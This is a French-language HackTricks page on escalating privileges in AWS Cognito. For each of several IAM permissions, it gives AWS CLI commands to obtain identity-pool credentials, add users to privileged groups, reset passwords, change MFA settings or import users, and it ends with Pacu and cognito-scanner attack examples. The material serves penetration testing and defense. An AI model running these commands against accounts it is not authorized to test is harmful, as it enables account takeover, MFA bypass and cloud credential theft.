AWS - Cognito Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Cognito

Pour plus d'informations sur Cognito, consultez :

pageAWS - Cognito Enum

Collecte de crédentiels à partir du pool d'identités

Comme Cognito peut accorder des crédentiels de rôle IAM aux utilisateurs authentifiés et non authentifiés, si vous trouvez l'ID du pool d'identités d'une application (qui devrait être codée en dur dessus), vous pouvez obtenir de nouveaux crédentiels et donc une élévation de privilèges (à l'intérieur d'un compte AWS où vous n'aviez probablement même pas de crédential auparavant).

Pour plus d'informations, consultez cette page.

Impact potentiel : Élévation de privilèges directe vers le rôle de services attaché aux utilisateurs non authentifiés (et probablement à celui attaché aux utilisateurs authentifiés).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Avec cette autorisation, vous pouvez accorder n'importe quel rôle cognito aux utilisateurs authentifiés/non authentifiés de l'application Cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

Si l'application cognito n'a pas les utilisateurs non authentifiés activés, vous pourriez également avoir besoin de l'autorisation cognito-identity:UpdateIdentityPool pour l'activer.

Impact potentiel : Élévation de privilèges directe vers n'importe quel rôle cognito.

cognito-identity:update-identity-pool

Un attaquant avec cette autorisation pourrait par exemple définir un Pool d'utilisateurs Cognito sous son contrôle ou tout autre fournisseur d'identité où il peut se connecter comme un moyen d'accéder à ce Pool d'identités Cognito. Ensuite, simplement se connecter sur ce fournisseur d'utilisateurs lui permettra d'accéder au rôle authentifié configuré dans le Pool d'identités.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Il est également possible d'abuser de cette autorisation pour permettre l'authentification de base:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impact potentiel : compromettre le rôle IAM authentifié configuré à l'intérieur du pool d'identités.

cognito-idp:AdminAddUserToGroup

Cette autorisation permet d'ajouter un utilisateur Cognito à un groupe Cognito, donc un attaquant pourrait abuser de cette autorisation pour ajouter un utilisateur sous son contrôle à d'autres groupes avec des privilèges meilleurs ou des rôles IAM différents :

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impact potentiel : Élévation de privilèges vers d'autres groupes Cognito et rôles IAM attachés aux groupes de pools d'utilisateurs.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Un attaquant avec ces autorisations pourrait créer/mettre à jour des groupes avec chaque rôle IAM pouvant être utilisé par un fournisseur d'identité Cognito compromis et faire en sorte qu'un utilisateur compromis fasse partie du groupe, accédant ainsi à tous ces rôles :

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impact potentiel : Élévation de privilèges vers d'autres rôles IAM Cognito.

cognito-idp:AdminConfirmSignUp

Cette autorisation permet de vérifier une inscription. Par défaut, n'importe qui peut s'inscrire aux applications Cognito. Si cette autorisation est laissée, un utilisateur pourrait créer un compte avec n'importe quelles données et le vérifier avec cette autorisation.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impact potentiel : Privilège indirect pour l'élévation de privilèges vers le rôle IAM du pool d'identités pour les utilisateurs authentifiés si vous pouvez enregistrer un nouvel utilisateur. Privilège indirect pour d'autres fonctionnalités de l'application en pouvant confirmer n'importe quel compte.

cognito-idp:AdminCreateUser

Cette autorisation permettrait à un attaquant de créer un nouvel utilisateur dans le pool d'utilisateurs. Le nouvel utilisateur est créé comme activé, mais devra changer son mot de passe.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impact potentiel : Élévation de privilèges directe vers le rôle IAM du pool d'identités pour les utilisateurs authentifiés. Élévation de privilèges indirecte vers d'autres fonctionnalités de l'application en pouvant créer n'importe quel utilisateur

cognito-idp:AdminEnableUser

Cette autorisation peut être utile dans un scénario très particulier où un attaquant aurait trouvé les identifiants d'un utilisateur désactivé et aurait besoin de le réactiver.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impact potentiel : Élévation indirecte des privilèges vers le rôle IAM du pool d'identités pour les utilisateurs authentifiés et les autorisations de l'utilisateur si l'attaquant disposait des identifiants d'un utilisateur désactivé.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Cette autorisation permet de se connecter avec la méthode ADMIN_USER_PASSWORD_AUTH. Pour plus d'informations, suivez le lien.

cognito-idp:AdminSetUserPassword

Cette autorisation permettrait à un attaquant de changer le mot de passe de n'importe quel utilisateur, lui permettant ainsi de se faire passer pour n'importe quel utilisateur (qui n'a pas activé la MFA).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Impact potentiel : Élévation de privilèges directe vers potentiellement n'importe quel utilisateur, donc accès à tous les groupes dont chaque utilisateur est membre et accès au rôle IAM authentifié du pool d'identités.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings : Un attaquant pourrait potentiellement abuser de cette autorisation pour définir un téléphone portable sous son contrôle comme MFA SMS d'un utilisateur.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference : Similaire à la précédente, cette autorisation peut être utilisée pour définir les préférences MFA d'un utilisateur afin de contourner la protection MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Similaire à la précédente, cette autorisation peut être utilisée pour définir les préférences MFA d'un pool d'utilisateurs afin de contourner la protection MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Il est également possible de mettre à jour le pool d'utilisateurs pour modifier la politique MFA. Vérifiez le cli ici.

Impact potentiel: Élévation indirecte des privilèges vers potentiellement n'importe quel utilisateur dont l'attaquant connaît les identifiants, ce qui pourrait permettre de contourner la protection MFA.

cognito-idp:AdminUpdateUserAttributes

Un attaquant ayant cette autorisation pourrait modifier l'e-mail ou le numéro de téléphone ou tout autre attribut d'un utilisateur sous son contrôle pour tenter d'obtenir plus de privilèges dans une application sous-jacente. Cela permet de modifier un e-mail ou un numéro de téléphone et de le définir comme vérifié.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Impact potentiel : Privilège d'escalade indirect potentiel dans l'application sous-jacente utilisant Cognito User Pool qui accorde des privilèges en fonction des attributs de l'utilisateur.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Un attaquant avec cette autorisation pourrait créer un nouveau Client de Pool d'Utilisateurs moins restreint que les clients de pool existants. Par exemple, le nouveau client pourrait permettre n'importe quel type de méthode d'authentification, ne pas avoir de secret, avoir la révocation de jetons désactivée, permettre aux jetons d'être valides pendant une période plus longue...

La même chose peut être faite si au lieu de créer un nouveau client, un client existant est modifié.

Dans la ligne de commande (ou la mise à jour) vous pouvez voir toutes les options, vérifiez-le !.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impact potentiel : Possible élévation de privilèges indirecte vers l'utilisateur autorisé du pool d'identités utilisé par le pool d'utilisateurs en créant un nouveau client qui assouplit les mesures de sécurité et permet à un attaquant de se connecter avec un utilisateur qu'il a pu créer.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Un attaquant pourrait abuser de cette autorisation pour créer des utilisateurs en téléchargeant un fichier CSV contenant de nouveaux utilisateurs.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

Impact potentiel : Élévation directe des privilèges vers le rôle IAM du pool d'identités pour les utilisateurs authentifiés. Élévation indirecte des privilèges vers d'autres fonctionnalités de l'application en pouvant créer n'importe quel utilisateur.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Un attaquant pourrait créer un nouveau fournisseur d'identité pour ensuite être en mesure de se connecter via ce fournisseur.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Impact potentiel : Élévation de privilèges directe vers le rôle IAM du pool d'identités pour les utilisateurs authentifiés. Élévation de privilèges indirecte vers d'autres fonctionnalités de l'application en pouvant créer n'importe quel utilisateur.

Analyse cognito-sync:*

Il s'agit d'une autorisation très courante par défaut dans les rôles des pools d'identités Cognito. Même si un joker dans une autorisation semble toujours mauvais (surtout venant d'AWS), les autorisations données ne sont pas très utiles d'un point de vue d'un attaquant.

Cette autorisation permet de lire les informations d'utilisation des pools d'identités et les identifiants d'identité à l'intérieur des pools d'identités (qui ne sont pas des informations sensibles). Les identifiants d'identité peuvent avoir des ensembles de données qui leur sont assignés, qui sont des informations sur les sessions (AWS les définit comme un jeu sauvegardé). Il est possible que cela contienne des informations sensibles (mais la probabilité est assez faible). Vous pouvez trouver sur la page d'énumération comment accéder à ces informations.

Un attaquant pourrait également utiliser ces autorisations pour s'inscrire à un flux Cognito qui publie des changements sur ces ensembles de données ou un lambda qui se déclenche sur des événements Cognito. Je n'ai pas vu cela être utilisé, et je ne m'attendrais pas à trouver des informations sensibles ici, mais ce n'est pas impossible.

Outils automatiques

  • Pacu, le framework d'exploitation AWS, inclut désormais les modules "cognito__enum" et "cognito__attack" qui automatisent l'énumération de tous les actifs Cognito dans un compte et signalent les configurations faibles, les attributs utilisateur utilisés pour le contrôle d'accès, etc., et automatisent également la création d'utilisateurs (y compris le support MFA) et l'élévation de privilèges basée sur des attributs personnalisés modifiables, des informations d'identité utilisables du pool, des rôles assumables dans les jetons d'identité, etc.

Pour une description des fonctions des modules, consultez la partie 2 du billet de blog. Pour les instructions d'installation, consultez la page principale de Pacu.

Utilisation

Exemple d'utilisation de l'attaque cognito__attack pour tenter la création d'utilisateur et tous les vecteurs d'élévation de privilèges contre un pool d'identités donné et un client de pool d'utilisateurs :

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Exemple d'utilisation de cognito__enum pour rassembler tous les pools d'utilisateurs, clients de pool d'utilisateurs, pools d'identités, utilisateurs, etc. visibles dans le compte AWS actuel :

Pacu (new:test) > run cognito__enum
  • Cognito Scanner est un outil CLI en python qui implémente différentes attaques sur Cognito, y compris une escalade de privilèges.

Installation

$ pip install cognito-scanner

Utilisation

$ cognito-scanner --help

Pour plus d'informations, consultez https://github.com/padok-team/cognito-scanner

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Dernière mise à jour